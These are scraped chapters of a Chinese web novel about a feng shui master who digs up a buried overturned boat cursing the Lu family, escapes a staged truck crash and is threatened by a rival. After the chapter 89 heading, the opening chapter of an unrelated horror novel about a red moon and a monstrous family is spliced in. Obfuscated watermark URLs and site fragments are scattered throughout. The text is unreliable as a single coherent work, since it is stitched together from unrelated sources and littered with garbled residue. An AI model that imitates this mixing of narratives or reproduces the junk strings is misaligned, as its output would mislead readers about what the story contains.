“要这样看……卢家最近真的怪事不少,只是……这不好说……”卢晟扫了一眼地上那些昏迷的卢家人,一咬牙,才讲:“我在外边儿,养了个小老婆,因为我老婆就只生了小茜一个闺女,之后就怎么都生不了了,我没辙啊,结果我那小老婆,死在医院产床上了,医生说大龄产妇,她才大学毕业,哪儿算大龄……” “可就是这么怪,顺转剖,最后羊水栓塞……这件事情,除了我,谁都不知道,现在陈先生你和苟捞尸人晓得了。” 第86章 尾巴 苟驹又冲着卢晟竖了个大拇指。 卢晟一脸苦笑,又道:“还有一件事儿,苟捞尸人你记得吧,我家二爷淹死?” 苟驹立马点点头说:“是有这么回事儿,就那次,我和卢家打上的交道, 我心里还寻摸着,卢家这是撞水鬼了不是,先死二大爷,接着小姐死水里。不过卢家本身没说什么,我也没在意,这算下来,死的人是有点儿多了哈。” 我手指掐算了几下。 合计下来,卢家两人淹死在江中,卢老爷子死在水盆里,也和水有关,还有一尸两命的难产。 “那个卢家二老爷子,是去谈生意,然后溺死的?”我问卢晟。 卢晟咽了口唾沫,喃喃道:“您简直是神机妙算……陈先生……难道您不光是风水先生,还会算命?” 老陈家是不光有风水术葬经百解,还有算命术神相千壳。 只是,我还没学会…… 当然,这话自己想想就够了,说不得。 这并非是算命算出来的,风水术中有很多对阳宅的布局,叫做宅杀。 一旦布局在阳宅内,那主家一定出事。 这属于必应风水! 微微摇头,算是回答卢晟,我再度站起身来,休息到天亮,活动能力勉强恢复了。 摸出来老陈家的罗盘,盯着指针,此刻,针头呈现沉针和转针两种。 沉针来自于卢茜的绣花鞋,转针来自于那铜镜。 走出堂屋客厅,指针开始平复。 我通过罗盘定位,往北走去。 卢家很大,朝着北走,率先瞧见了一方池塘。 经过那池塘,则是一排厢房。 这老宅的布局,从里到外都是古色古香。 停在正北方,被一个房间挡住了去路。 卢晟和苟驹都跟在我身后,苟驹没吭声,他只是摸出来一个小瓶子,朝着嘴里滋了一口,我闻到了一阵酒气。 “这屋子里……有什么问题吗?” “才让我们卢家出这么多事?”卢晟小心翼翼的问。 尽管我先前话没有说那么透彻明白,可毕竟卢晟是个聪明人,他已经明白,卢家这样,就是被算计了。 “不应该是个房间的……这里怎么会是房间?” 我眉头紧皱,没有回答卢晟的问题,眼中更多的还是疑问。 伸手,推开了房门。 屋子很普通,床,衣柜,梳妆台,没有什么特殊的地方。 “这……陈先生?”卢晟又喊了我一声,他再问:“是这个房间的问题吗?这里不应该是房间?” 我这才回答:“的确不该是房间,这里是正北,应该还有一条过道才对,如果不是过道,也应该是空地……” 卢晟脸色微微一变,却走向衣柜的方向。 衣柜正对着房间门。 到了衣柜前,卢晟用力将其往右侧一推。 曝露在视线中的,居然是一道门…… 卢晟不自然的开口说:“这房间本来不是房间……的确曾经是一个过道,周围也没有厢房,卢家接手这宅子后改建过,因为这过道后边儿有一块空地,当年有先生说过,是神刹地,不能住人,可是家宅中又不能修庙,必须得空着,因此,就在这里修了一排厢房,将神刹地挡住了……留一道门,是当年先生指点的。” “是这神刹地出问题了?”卢晟惶惶不安的问。 我没吭声。 问题也不是神刹地的问题。 径直上前,那道门是锁起来的,很久没开过锁,已经锈蚀。 “开门啊,愣着干嘛?还有,别那么多问题,不要一直叨叨叨,听陈先生说,看陈先生做就好了。”苟驹点了卢晟一句。 卢晟不敢多言,掏出来一串钥匙,很快找到这把锁的,打开。 再度推门而入,先是一条陈旧的走廊,这里并没有被拆建,走廊顶上长满了爬山虎,光线很弱。 大概十余米左右,走廊尽头,果然是一块空地。 像是这种地方,应该长满了杂草才对,可地面却寸草不生,还堆满了落叶。 “让人来挖开这地下,掘地三尺,也要找出来点儿东西。”我再度开口,眼神虽然笃定,但是话锋却没有那么肯定。 要换成之前,卢晟肯定得问我,挖什么?找什么? 现在,他没吭声了,稍一迟疑,摸出来手机打电话。 卢家虽然还有几个人,但他们还在堂屋里昏着呢。 很快,卢晟就放下手机,稍显的踌躇,让我们等等。小說中文網 大约半小时左右,从那房间里挤进来了十几人,都是附近的卢家人,手里拿着锄头,铲子。 他们开始挖掘起来。 很快地面的土被翻开一层。 我示意他们将土堆积在院子边缘,或者抬出去。 十几个人看似多,但这空地院子,有四五十平,不算小,一晃眼到了中午,他们都只挖开了薄薄一层。 阳光很大,卢晟头顶都冒了汗,总算是试探的来问我,要不要再喊点儿人手来。 我让他稍安勿躁,眼神观察着被翻开的那些土层。 随后我走到一处位置,蹲下身子,手抓起一把泥土,用力一捏。 泥土湿润,像是浸满了水。 接着抓起身后另一捧土,用力一捏,土壤却十分干燥。 “所有人,都来这里,挖!” 我果断的招呼卢家人。 十几人全都集中在我指着的位置,吭哧吭哧,甩开膀子干。 很快,挖了一个一米深的洞。 随着一人下锄头,空地院子里顿时发出咚的一声闷响。 “大哥,有东西!”那人立即扭头,冲着卢晟喊道。 卢晟面色一紧,看向我。 “挖出来。” 我只有三个字。 一晃眼,又过了四个小时。 地,足足被挖开了三米深,接近五米长。 从坑里抬出来的东西,是一条翻过去的船。 阳光曝晒,船身都十分湿润,没有干燥的迹象。 卢家所有人都懵了,谁都没料到,会在地下挖出来这种东西。 苟驹一样目露不解,疑惑连连的看着我。 “最近几个月,卢家出怪事之前,谁进过这里?” 我问卢晟。 覆船埋北地,就是葬经百解中的一个典型宅杀风水局。 一旦成功将覆船掩埋,就会应数种杀局。 出外经营,命丧江中。 儿女平白无故溺死在井河。 妻儿更难逃产死厄运! 对,我没有见过那个在暗处使坏,形成反煞,伤我,更带走寻龙分金尺的人。 可通过对卢家的风水分析,我找到他的尾巴了! 第87章 善后 “这……整个卢家,算上族人,仆人,少说得有百人,这边的厢房并不是随时有人住,卢家产业众多,除了特定时间要回家族,大家都在外边儿,真要说有什么人进过这里,很难弄得清楚。” 卢晟显得十分不安,又问我:“这只船,有问题,对吧?” 我和卢晟说了一遍这风水局所造成的影响。 卢晟脸色都一阵阵煞白,他重重跺脚,都快站不稳了。 先前我就问过卢晟,卢家得罪过什么人。 这一天的时间,大家挖院子,卢晟也苦思冥想的回答过我,说他的确不知道卢家得罪了谁。眼下这结果,要么卢家遭受了无妄之灾,要么就是他们真的得罪了什么人,还不知情。 一时间,情况又陷入了僵持。 尾巴是出来了。 可对方是谁,还是没有线索。 “把这船抬到你们卢家正对着的天沧江,放了。” 我告诉卢晟。 “好。”卢晟小心翼翼点头。 “再让卢家所有人住回来。”我又道。 “然后呢?”卢晟擦了擦额头上的汗珠。 其余那些卢家人的脸色,无一例外都带着不安。 “大哥……我感觉不能吧,老爷子才死,尸骨未寒,不对……他头七那晚上,尸身都消失了。” “既然都有人算计卢家,那肯定家族里不能住人,还是得住外边儿啊……” “对对对,这住家里边,不就是挑衅对方吗?” 大家你一言我一句,全都是和我的决定唱反调。 卢晟的表情相仿,依旧不安极了,他说:“陈先生,我也差不多这个意思……然后呢……我总觉得,对方肯定还得动手。” “我自有安排,卢家不会出事,江中的卢茜小姐尸身,我们等会儿就会去打捞起来,绣花鞋里的卢茜魂魄,我暂时会压着。我还会动一下卢家的风水,你们这段时间,无形之中折损了人丁,必然也影响了运势,我会将运势全给你们拉回来!”我言之凿凿。 这做法,就十分明确了。 我让对方来找我! 他对卢家做的一切,我都破了,他不想要卢家有的,我全都给。 要么我们在暗处继续斗,要么,他就只能现身。 没有说话,我思绪平稳镇定。 这时候,一旦自乱阵脚才是输。 卢晟咽了一口唾沫,显得犹豫不绝。 苟驹骂骂咧咧说了句:“婆婆妈妈,像是个娘们儿似的,陈先生都管你们那么多了,还优柔寡断,陈先生,算求蛋,卢家主你把卢茜的事儿,结算一下,买个单就行,其它的,不管了。” 场间众人顿时再变色。 卢晟赶紧说:“苟捞尸人您别气,陈先生您别气……办……按照您说的办……” “德行。”苟驹依旧显得不满。 我心绪更平复许多。 按照苟驹说的直接走肯定不行。 卢家先前那种态度,一样不行。 现在,卢晟主动果断的答应,事情这才好办。 再然后,卢家人抬着这条船往外走。 我进了卢家的大院里头,点出来了数个方位,又让卢晟立即去弄来了一些东西。 包括金貔貅,铜麒麟,铁蟾蜍。 铜麒麟我摆放在三煞位。 金貔貅埋在财库方,铁蟾蜍则埋在井旁。 除却铜麒麟是人一眼就能瞧见的位置,另外两个位置,就只有我和卢晟知道。 我让他务必找人盯好铜麒麟,还得有心腹能盯住财库和井。 铜麒麟辟邪化煞,有这东西,卢家就很难进鬼鬼祟祟,除非那些鬼祟能破开铜麒麟。 此外,财库有貔貅,貔貅只进不出。 井是水,水利财,卢家更会财源滚滚。 这一系列的布局做完,都已经深夜时分了。 我和苟驹刚出卢家大门,卢晟就这么一小段时间,接了起码五六个电话,本来快两天两夜没睡觉,他就精神疲惫,这一下子,亢奋的像是喝了几杯浓茶。 “天啊……有好几单生意,自己找上门来,放在以前,卢家都不敢想……” 卢晟满眼血丝,整个人感觉都是发飘的。 他是亲自开车,将我们送回了回水湾。 随后,我叮嘱他回去之后,卢家一切都正常运转,别的什么都不用管。 卢晟离开后,苟驹按照我的吩咐,去那片有睡莲的江域打捞卢茜。 而我则回到了小二楼里。 针对那绣花鞋,以及铜镜的手段很简单。 我将它们放在了衣柜后的通道里。 这地方本就有符,让白姝灵都进不去。 恰巧能镇鬼。 做完这一切,那股疲惫的感觉怎么都止不住。 从卢家找上我,算是一天两夜没有睡觉了…… 尤其是中途分析了那么多风水,做了那么多布局,人都感觉头重脚轻。 我一脑袋扎在床上,就沉沉睡了过去。 这一觉我睡得天昏地暗。 次日醒来时,总算是挥散去那股浓浓疲倦,人清醒许多。 起身后,我先看了一眼衣柜门,又打开看一眼,确保这里没什么问题。 心绪才完全平复。 再接着,我离开小二楼,去了前边儿的平房区域。 一眼就瞧见,好几个捞尸队的人,正在外边儿来回走动,显得十分警觉似的。 “陈先生……”其中一个人冲着我招招手,示意我进拜河神老爷的那房间。 我进去后,一眼就瞧见了苟驹。 他坐在一张长条椅子上。 盖着红布的那箱子前头,摆着一具女尸。 赫然是卢茜的尸身! 只是这个卢茜要美艳的多,脸颊十分精致,是标准的瓜子脸。 眉毛细长宛若柳叶,下巴分外精致。 她的头发的确很长,此刻从脖子那里下来,遮住了胸口。 苟驹显得十分憔悴,身上还有不少伤口,虽然处理了,但却依旧能看出来凄惨。 仿佛这二次将卢茜打捞上来,花费了很大的功夫,更付出不少代价。 “卢老爷子放棺材里了,让卢家带走了,那尸体被河神老爷弄得支离破碎,留下来也没多大用。” “陈先生,这卢茜的尸身,你看看怎么处置,怕是拿回去,卢家也看不住。” 苟驹话音本来是粗犷的,现在成了粗哑。 我稍稍一沉凝,才说:“抬我屋里去吧。” “您压得住?”苟驹脸色微微一变。 “前天晚上……”他欲言又止,还是说:“前天晚上,她不是差点儿把你……我意思不是怀疑你的本事,先生不是能找个镇处吗?镇住应该最好吧?要是陈先生你来看住她,万一出问题,不就是身边放个雷吗?” “实在不行的话,我看,还是放在河神老爷身边儿,也算是个解决方法。” 我摇摇头,说:“不行,这很危险。” “河神老爷不会……”苟驹的话音戛然而止,似是想到了什么,眼皮都开始狂跳。 第88章 车祸! 苟驹不吭声了。 我的态度很直接,苟驹猜测得到我的意思。 “成,陈先生,就照你说的做。”苟驹点点头,没了其他意见。 随后,他找了几个人,将卢茜的尸身抬进了小二楼里。 我让他们离开后,就将卢茜给拖进了衣柜里的通道。 没有只将尸体和铜镜,绣花鞋单纯放在通道里,我将尸身和东西,全都弄到了最底下的墓室中。 这地方的隐蔽性,就足够了。 等回到房间里,阳光早已布满整个屋子。 腹中空空,不停的发出咕咕声,饿得快前胸贴后背了。 我再从小二楼里出去,阳光晒得我有些头晕,是太久没吃饭,人都快低血糖。 苟驹没在外边儿。 我走到平房那边,他房间里已经传出来震天的呼噜声。 步行到就近的饭店,点了几道菜吃了。 祭满五脏庙,整个人都舒畅多了。 临了,我给卢晟打了个电话,问他卢家今天的情况怎么样,有没有再出什么怪事? 卢晟的语气稍稍有些激动,告诉我,如果说,家族生意过好,也算是怪事的话,那这怪事的数量,就多到离奇。 本身他们家老爷子去世了,这几天很多生意受更多影响,现在影响不但完全消失,整体生意更多了一成不止,就这么持续下去,很快卢家就要从内沧市的二流世家,跻身进一流豪门。m.xfanjia “好,盯住那些地方,千万不能让人动,有任何怪事,就立即通知我。” 我说完后,正准备挂电话。 卢晟稍一迟疑,才讲:“陈先生……有个饭局,您来吗?是一个大家族,要和卢家谈生意,很突然。” “不必了,卢家可以拿下的。”我回答后,就不再多言。 离开饭店,我往回走。 此后的一整天时间,我都待在小二楼里没出来,一直仔仔细细的看葬经百解。 临天黑之前,苟驹来找了我一次,他精神头好多了。 见我没事,苟驹就放心不少。 本身苟驹是计划过,这两天还要下水捞尸一次,这事情,都暂时被搁置。 …… 一晃眼,又过了整整十天! 其实这十天,对我来说,多多少少有些堵心。 因为寻龙分金尺丢失。 卢家看上去,蒸蒸日上,对方好像什么都没做,更没有去破卢家的风水…… 难不成,他们认为棘手,就放弃了对付卢家? 那我,岂不是就永远丢了尺子? 这其中,还有一件事儿,算是插曲。 卢家给了我一笔钱,不是本身苟驹和我说的数目,是整整八十万! 这是什么概念。 正常我那大学毕业,能拿到的工资,能抵得上十年了! 大约第十三天的时候,葬经百解,我几乎已经完全看过一遍。 融会贯通肯定是不可能,不过,我对风水术的理解加深了不少,更多的,还需要通过实地勘察,才能验证。 我已经有些坐不住。 因为对葬经百解理解的更深,寻龙分金尺的作用就更明显,很多风水,都必须用这尺子来界量。 我打算再去一趟卢家。 这卢家的风水,还得变一变! 那天下午,刚离开小二楼,苟驹就迎面上前。 “陈先生,巧了,我找你说事儿。”苟驹笑容满面:“这不,卢家一直没啥事儿,我感觉,是你把对方震慑住了,要不,咱们今晚上下个水?还有一家人,排着队找我捞尸呢。” 我告诉苟驹,稍稍将事情往后捎一捎,我正要去卢家,这事儿,还没完! 苟驹一愣,显得不明所以。 不过,他倒是没多言其他,让我办妥了,和他说。 我独自走到路边,去打车。 本来是打的网约车,很快,一辆出租车停靠在我身旁。 “兄弟,去哪儿?上来嘛。”司机很热情的招呼我。 我瞅了一眼手机上的距离,网约车离我还有好几公里。 兜里不怎么缺钱了,我就上了出租车,说了卢家老宅的地址。 司机驱车上路。 沿途,他还和我摆龙门阵。 不管是出租车还是网约车,司机都有这种习惯,能排解一天的无聊。 “兄弟,你是卢家的人哇?” 忽然,司机这样问了一句。 “不是。”我摇摇头。 “哦哦,卢家还是可以瑟,最近的风头是出够了,到处签生意,都上本地电视台了,牛皮的很。”这司机嘴里的方言味道很浓。 我忽然发现了一些不对劲的地方。 就是车外走过的路,很陌生。 虽然卢家我只去过一次,但是学了风水术,我对沿途的街道就很敏感。 按道理来说,卢家靠着天沧江,还有城中山,走的位置,应该也是偏老城区的,多水多树,偶尔还能瞧见一些小山包,内沧市的地理条件就这样。 结果,车窗外的路,很宽敞平坦,根本不像是去卢家的。 “你走错了吧?停车!”我沉声开口。 “没走错的嘛,就是这条路,稳得很。” “我说兄弟,你年纪不大,本事不小,卢家里边儿那么深埋的覆船,你都能找出来,还给卢家改风水。” “好嘛,我们是想着今天来找你谈一谈,你这样子,是又要去卢家了。” “干这一行,不要太过分,晓得不?” “不然,你要出事的。” 司机的话,变得冰冰冷冷,还带着一丝阴阳怪气。 他忽然猛地一脚刹车。 惯性让我重重撞在椅子靠背上,五脏六腑都在翻滚。 车门,一下子就开了。 他直接窜下车,跑得飞快。 我眼前一阵发黑,可心里却窜上来一股极为可怕的情绪,是心跳失重,让我觉得整个人坠空了一样,毛骨悚然。 地面,还有一阵震颤感! 毫不犹豫,我一把推开了车门,人猛地往外一窜! 旁边就是一道公路的路坎,我直接滚下去,下边儿还有一大片荆棘。 轰隆一声巨响。 先前那辆出租车,直接被一辆大货车撞了过去! 嗤拉的声音极为刺耳,路面被拉出好大一长串的火花。 大货车没办法刹停,怼着那出租车,往前滑行了得有好几十米,货车轰然一下翻了,直接将出租车压扁…… 我两条腿不停的发抖,是真的被吓得体若筛糠。 我以为对方放弃卢家了。 可没想到,在我去卢家的路上截停了我…… 我更没想到,对方……是算好了,要直接弄死我!? 先前我但凡慢几秒钟,现在,就被碾成了肉泥…… 第89章 居然没死 从红月开始 作者:黑山老鬼 第一章回家 暗红色的月亮低垂在城市鳞次栉比的城市高楼之上,几乎撑满了半边天空。 一辆暗黑色,车身上多处布满锈迹的环城列车,飞快的在红月的注视下穿行过了整个城市,而在这列车里面,身着各色衣服的乘客们有的在看报,有的在昏暗灯光下打着瞌睡。 “叮,月亮台站到了!” 陆辛从瞌睡之中惊醒,提起了袋子,随着涌动的人群,流出了车厢。 他背着袋子,走过了肮脏而破旧的台阶,满是报纸的站台,走到了这座城市的地面,抬头看去,周围霓虹灯的光芒,使得这座城市的街道,以及街道上的人群,都有种五颜六色的怪异感觉,但无论街道上的颜色多丰富,这座城市上空的红月亮,仍代表着这世界的底色。 自从三十年前红月亮事件出现,整个世界便一直是这样子的。 当然,陆辛并不知道这有什么不同,他是在红月亮事件之后出生的,世界一直这样。 他背着袋子穿过刚下过雨的小巷子,登上了一栋破旧的老楼,电梯又坏了,于是他只能走楼梯,慢慢的来到了四楼四零一室之前,拿出钥匙,打开了那扇厚门沉重的屋门。 走廊里静悄悄的,冷艘艘的,但屋里却温暖,柔和。 厨房里,爸爸正在炖肉,高压锅里咕嘟嘟冒着热气,散发出了诱人的肉香。 妹妹正卧在沙发上,抱着零食,看一部很老的动画片,海绵宝宝。 妈妈优雅而得体,穿着一件白色的羊毛开襟衫,正站在窗边跟人打着电话。 “九哥哥你回来啦!” 看到陆辛走了进来,放下被包,妹妹抬起头来,甜甜笑着打招呼。 “小十七今天在家乖不乖,你想要的小熊我给你买回来了!” 陆辛摸了摸她的脑袋,将一只棕色的小熊递给她。 “啊,谢谢哥哥,我好喜欢!” 妹妹开心的跳了起来,将小熊抱在了怀里。 “回来啦?” 妈妈抬头看了陆辛一眼,笑着点了下头:“坐下休息一会,很快就要开饭了!”χsΖWω捌.йΕΤ 陆辛点了点头,坐在了餐桌旁边。 …… …… 桌上已经摆了四副碗筷,还有几碟青色的小菜,米饭盛在了碗里,已经有些凉了。 hΤtρδ://wWw.xszWω㈧.йêt/ΗtΜζ/一②4/壹二4㈦1柒/五⑤壹0肆5贰2.ΗτΜξ 但是,一家人都没有要坐下来吃饭的意思。 妈妈正继续在电话里温柔的说着:“张姐,其实今天的事情,确实是我不对,您不要生气,当然,我这件灰色的羊毛衫款式确实老旧了点,但是怎么说它不好看呢?……是的,我就是因为这件事给您打电话的……您当然没有说出口,可是我知道您心里这么想了……” “没有没有,您不要误会……我只是想请您道个歉……您不好骂人的,太不文明……” 爸爸剁骨头的声音越来越大了,隐隐传来他骂骂咧咧的声音:“人渣,废物,随便闯进别人家里,该死,都该死……妈的吃这么多,怎么剁都剁不完,怎么煮都煮不干净!” 妹妹这时候正开心的盘腿坐在沙发上,把那只棕色的小熊一点一点的撕开,用两只去扯,用那一口雪白细密的牙齿去咬,把棕色小熊的耳朵咬了下来,眼睛咬了下来,两只胳膊,一点一点的扯下来,认真看着胳膊与小熊身体分开的过程中,露出了一种激动而满足的表情。 んTTpδ://Www.XSZWω8.ΝΕt/HtΜl/①②ч/㈠㈡四柒壹⑦/㈤㈤1○④㈤②二.Ητ “要等一会再吃饭了!” 妈妈已经放下了电话,温柔的说道:“我跟邻居张姐有了一点误会,我去跟她道个歉!” 说着,顺手拿出了抽屉里面的剪刀,优雅的走了出去,带上了门。 …… …… 陆辛静静的坐在餐桌旁边等着。 他觉得自己是幸运的,红月亮事件出现伊始,世界有过很长一段混乱的时间,在那段时间里,有许许多多的人死去,也就出现了许多像陆辛一样的孤儿,他们里面,有很大一部分是在成年之后,就消失了,而陆辛能够被爸爸妈妈收养,有一个温馨的家,不知多少人羡慕。 当然,这个家庭,这些家人,有些时候会有一点点怪。 但这个家庭,在这个破败而肮脏的小小的卫星城里,还是很圆满的。 妈妈很快就回来了,脸上带着欣慰的笑容,道:“张姐已经跟我和好了!” んΤΤΡS://ωww.xSZWω㈧.NēΤ/HΤΜζ/一二肆/①㈡ч柒一柒/5五一0ч⑤贰2.HTMし 陆辛发现她身上穿的那件白色羊毛衫领子下面,多了一块不起眼的血迹,很新鲜。 一家人开始吃饭了。 妹妹仍然抱着她那只小熊,小熊被她撕开之后,又缝了回去。 只是身体拼凑的歪歪斜斜,满满都是粗糙的针角,但妹妹比之前还要喜欢。 爸爸坐在了餐桌前,打开了一瓶标签已经污损的看不出字迹的白酒,夹一筷子青菜,便一口气干掉了一杯。桌上没有肉,爸爸喜欢砍骨头,炖肉,但从来不让人吃,也不让人靠近他的铁锅。他身上还穿着塑料围群,上面溅着血污,有几只苍蝇,在他身边转来转去。 外面有警笛声接近,嘈杂的人声不停的传来,不知在说些什么。 “啪!” 爸爸忽然用力放下了酒杯,鼓着血红的眼睛看向窗外:“吵吵吵,就他妈知道吵,连顿安稳饭也不让人吃,废物警视厅,什么也查不出来,废物街坊,天天就知道偷看别人!” “你别吓到孩子!” 妈妈夹起了一根青菜,小心吃着,鲜红的嘴唇在昏暗的灯光下非常刺眼。 陆辛记得她没有涂口红。 “去他妈的孩子,该死,都该死!” 爸爸更为愤怒,五指紧紧的抓着酒瓶,暴起了青筋,骂道:“婊子,你也该死!” “是的,在你眼里,所有人都该死,只有你不该死!” 妈妈笑的优雅从容:“因为你最后要留着收尸是么,你喜欢给人收尸!” 她说着,放下了碗筷,温柔的笑着,看向了爸爸:“因为那些人活着时,过的都比你好,都比你有本事,所以你特别不喜欢看到他们活着,你喜欢看着他们再也没法说话的样子!” HττΡδ://xSZWω8.йēt/HτMし/壹②ч/①贰㈣㈦㈠柒/五五1○㈣伍②㈡.ΗTΜL “闭嘴,闭嘴你知道么?” 爸爸果然被母亲激怒,他猛得摔碎了酒瓶,冲上去掐住了妈妈的脖子。 “咯咯……” 妈妈笑的非常开心,哪怕已经被掐的脸都紫了,笑容还是很优雅:“废……废物……” “啪!” 爸爸终于忍不住,开始拳脚相加,撞得餐厅不停晃动。 “哇……爸爸不要打妈妈啦……” 妹妹吓得大哭,紧紧抱紧了小熊,忽然又脸色一变,咯咯狂笑:“好玩,好玩,真好玩……” 一边大笑着,她忽然翻身跳起,像一只灵活的蜘蛛,爬到了天花板上,两只脚勾住了吊灯,也不知怎样就固定住了身体,扭曲着转过头来,看着下面打斗的样子,嘴里叼着那只玩具小熊,两只手用力的拍着,口中还呜咽不停的,像是笑,像是在哭:“太好玩啦……” 爸爸越来越愤怒,身体像是在不停的扩大,肌肉撑破了衬衫,露出了青色的,长满了刚挺黑毛的脊背,五官变得扭曲而硕大,挥舞着拳头,用力的向着妈妈打了下去,一拳又一拳,而妈妈已经被他打的皮开肉绽,但是声音还是那样的优雅:“真好呢,这无能的狂怒样子……” 陆辛端着米饭,坐在已经被掀倒的餐桌旁边,慢慢的吃着碗里的米粒。 红月亮事件之后,有个温馨的家庭很难得呢…… 虽然自己的家里,家人也会有一些小毛病,有时候也会吵架,打架,但还是家呀…… …… …… 窗外,正对着陆辛家客厅窗户的一个房间,被布置成了一个简单的工作室。 有一个身穿休闲西装的短发女人,正通过一个望远镜观察着陆辛的房间。 通过望远镜的镜头,可以看到那个空空荡荡的房间里,陆辛正在一个人坐在椅子上吃饭,明明只有他一个人在那里坐着,但那个房间,却像是生出了地震一般,桌椅被掀翻,吊灯不停的摇晃,窗户玻璃上,时不时出现一团白花状的裂痕,像是有什么东西打在了上面。 “第十三号精神异变观察者的念力出现了!” 她身边两位穿着精致工作装的年青男子一个在飞快的计算,一个在记录。 “他有被招募的潜质么?” hTtΡδ://xSZωw㈧.йèT/ΗΤ/一㈡④/①㈡Ч㈦1柒/五5㈠0④五2二.んT “潜在威胁有多大?” “具体能力是什么?” 短发女人摇了摇头,道:“现在还不清楚,他不像其他的精神异变者,前期就会显露出很强的异变形态,比如可以进入别人的梦境,或是无意间释放精神瘟疫等等,他看起来很正常,每天都可以正常的上班下班,甚至可以很好的处理工作,但精神偶尔会出现紊乱!” “听起来很有潜力,也很好引导!” 在他们身后,一个面容有些威严的男子道:“有试过让造梦师进入他梦境做测评么?” “有!” 红西装的短发女子轻轻点头,道:“但那个造梦师进入他梦境之后,再也没有出来!” 第90章 滚吧,废物东西 我心头猛的跳动一下。 陈瞰山,不就是我爷爷的兄长,我名义上的二爷爷。 这内沧市,就这么小? 就能遇到陈家的老熟人? 最关键的是,那个葛明悠怎么会知道,我是陈家的人? 还是说,猜出来的? 姓陈的风水先生少。 我恰巧是。 又恰巧住在回水湾? 这些信息浮现上来后,葛明悠能判断出我的来路,就没有什么问题了。 还有,陈瞰山在葛家放了什么? 那必然是陈家的东西…… 脑海中思索飞速,我再看了卢晟一眼。 “他已经走了吗?”我问。 “对,葛家主回去了,他在路途中打的电话。”卢晟点点头。 “那你安排一辆车,送我去葛家吧。”我道。 今天的问题,让我有些杯弓蛇影了。 卢家送我,肯定安全。 “好。”卢晟连连点头。 我又叮嘱卢晟,等会儿从葛家出来,我就回来,看看怎么改卢家的风水,让他有个心理准备。 卢晟更笑容满面。 从卢家离开,开车的人我略有眼熟,那天卢家来请我,这人就同行,之后又因为风水反煞的时候被弄昏迷,我只是不晓得他的名字而已。 葛家距离卢家不远,就半小时左右的路程。 这里是一个庄园,一样处于天沧江的边儿上,十分宽阔,气势滂沱。 庄园门口,葛明悠在等我。 我下车时,那个卢家人还深深看我一眼,脸色带着几分意味深长。 他的眼神,让我内心都有几分悸动。 葛明悠做了一个请的手势,喊了声陈先生。 那卢家人也驱车,朝着路边停去,他没有下来,看样子是在车上等我。 我这才走向葛明悠。 葛明悠又和我握了握手,他看我的眼神,多了几分若有所思,这是和先前不一样的情绪。 一时间,我想说什么,反倒是不知道怎么开口才好了。 因此,葛明悠收手,请我往里,我便跟着他往里走。 庄园大门进去后,就是一片草皮地,临天黑暮色,这里靠近江边,又过于平坦,风就吹得凉飕飕的。 兜里忽然传来微微的冰凉感,布人,稍稍沉甸了一些。 已经有很长一段时间,至少这十几天里,白姝灵都没有出来过。我大抵能揣测出来,是因为她们两个意识在争抢魂魄的控制权,因此,就没办法出来。 此刻布人有了反应,是最初一直陪着我的白姝灵占了上风,还是另外一个依旧占据主动权? “走。”耳朵里忽然听到一个字。 正是白姝灵的话音。 可仅仅这么一个字,就变得安安静静,悄无声息,布人都没有沉甸的感觉了。 心跳,忽然又有些紊乱…… 我驻足停顿下来。 “怎么了陈先生?”葛明悠淡淡一笑,问我。 沉默,我没回答。 转身看了一眼来时路,庄园大门前空无一物。 随后,我反手取出来了罗盘,指针安安静静,没有动静。 “陈先生也察觉到,我们葛家的风水不一般了吗?”葛明悠再道。 我哪儿是察觉到葛家风水不一般。 是白姝灵让我走,这肯定不对劲。 只不过,肉眼看,罗盘看,都没什么问题啊? 那先前说话的白姝灵,就还是那个冷冷冰冰,想要我回到黄渠村,想要拿到尸体,和我撇开关系的白姝灵? 是了,这样的话,我拿到陈家遗留下来物品,对她来说不会有丝毫的好处。 “四平八稳,葛家的风水的确很好。”我答了一句。 “呵呵,陈先生继续请。”葛明悠再做了个请的手势。 庄园,是真的大,又走了几分钟,才停在一栋别墅外。 此刻大门敞开,别墅里灯火通明。 葛明悠先进去,我随后进去。 整个别墅一楼,布置的很是简约,和卢家的古色古香,厚重感完全不同,这里显得很轻奢,很干净,现代化的气息很浓郁。 沙发上坐着一个人。 那人头发短寸,花白,穿着一身板正的唐装,看他侧脸,五官立体分明,还带一副无边框的眼镜儿。 年纪虽然大了,但他一点儿老态都没有。 手中还拿着一物,是一根尺子,另一手,正在用一张布擦拭。 我心跳的速度,咚咚加快。 陈瞰山留在这个葛家的,居然也是一条寻龙分金尺? 同一支笔能生产很多,尺子,罗盘,我从来都不认为只能有一个。 尤其是陈家的风水,大多都体现在这把尺子上。 陈瞰山却没有尺子,这让我不解。 看见这老人手中的尺子,我一下子就恍然大悟了。 原来在这里! 脚步速度稍微加快一些,就要走到沙发前。 老人咳嗽了一声,站起来,扭头看我。 这人明明很陌生,可我却感觉到了一丝似曾相识,就像是从哪儿见过一样! “真年轻啊。”老人眼中带着几分感叹。 “我叫陈棺生。”我语气十分礼貌。 “陈棺生……官升?还是棺生?嗯,黄渠村都被封村了,你还在外晃荡,果然和当年的陈瞰山差之无几,是个心思冷漠之人。” 老人脸上依旧带着淡淡笑容。 我脸色微微一变。 “卢家的事情,你,不要插手了,自顾不暇的人,还管卢家,还一直对我们干扰不断,若不是看你的家世,我早就将你算死。” 老人的手,陡然朝着我一甩。 那尺子,骤然落入我怀中。 我双手探出,立马接住。 他的话,让我脸色再变。 “听完最后几句话,你就可以滚了。” “其一,卢家是绝对不可能这样高枕无忧的,他们必须对一些事情付出代价。” “其二,今天的事情,算是小施惩戒,东西,还给你了,你要学聪明,远离卢家。” “其三,是我对你的警告,如果你再干涉卢家的风水,你丢的就不只是尺子,是命。” 老人虽老,但语气显得十分冷冽。 另一侧,葛明悠冷冷的看着我,嘴角勾着冷笑。 一时间,我身上的汗毛都根根倒立。 这时,屋门处悄无声息又多了两个人。 前边儿的是个男人,不正是今天开出租车那人吗?他眯眼看着我,脸上有一处擦伤。 稍后方是个女人,她模样俏丽,看我的眼神十分奇异。 我鸡皮疙瘩爬满了全身…… 算计卢家的人……居然……还和卢家在做生意!? 卢晟是被人卖了,还蒙在鼓中…… 死死攥着尺子,汗珠更从额头上颗颗滑落。 我没多吭声,他这几句话的信息量不少。 转身,往外走。 结果到门前,和那男人擦肩而过的同时,忽然,他脚朝着我脚一勾。 他速度太快,我避之不及,被勾中时才看见。 人一个趔趄,直接朝着地上栽去,摔了个狗啃泥。 他笑声格外大,格外轻蔑:“白天真让你撞狗屎运了,还以为你多大本事,运气而已。” 手肘和膝盖刺痛不已,我闷哼一声,撑起身,站起来。 “滚吧,废物东西。”那男人又骂了一句。 第91章 渊源颇深 